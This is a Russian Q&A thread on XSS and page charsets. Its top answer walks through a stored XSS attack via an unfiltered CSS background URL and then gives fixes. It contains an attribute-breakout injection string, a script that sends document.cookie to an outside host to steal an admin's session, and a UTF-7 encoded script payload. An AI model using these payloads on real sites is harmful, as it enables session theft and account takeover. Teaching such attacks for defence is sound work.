Вопрос: Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

Лучший ответ: XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.
3. Указывайте кодировку на каждой веб-странице.
Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.
В случае если тег расположен до тега и заполняется пользовательскими данными
Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background. 
Таким образом, код на странице пользователя, выглядит как-то так:<body style="background: #282b31 url($user_background) 50% 0 repeat;">
...
</body>
Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:<body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
...
</body>
Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
Предположим, школохацкер вставит вместо картинки какой-нибудь тег:<script>alert('Мамку админа ипал!!111');</script>
В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
На этом этапе строчка будет выглядеть как-то так:http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(
Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость. 
Они к слову, бывают нескольких видов. Активные и пассивные. 
Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).Что тут происходит?!
Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.Что ещё?
Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:<script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>
и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3Как фиксить?
Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8'); таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:header( "Set-Cookie: name=value; httpOnly" );
или такsetcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);
ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
Удачи вам, в познании XSS.

Худший ответ: Совет несколько устаревший, и вот он для чего.
Есть откровенно странная кодировка под названием UTF-7, которую по-чёрному использовали для XSS. Например:+ADw-script+AD4-alert(+ACc-utf-7!+ACc-)+ADw-+AC8-script+AD4-
Задачей хакера было заставить браузер верить, что текст в UTF-7, прежде чем в HTML’е придёт маркер кодировки.
IE11 поддерживал UTF-7, поддерживает ли Edge — не в курсе. Остальные браузеры отказались лет десять назад.
Подробнее:
https://nedbatchelder.com/blog/200704/xss_with_utf...
Ну и будет просто некрасиво, если пользовательские данные появляются до маркера кодировки и браузер эту самую кодировку неверно опознал. Но хоть XSS не будет ни в одной кодировке, основанной на ASCII.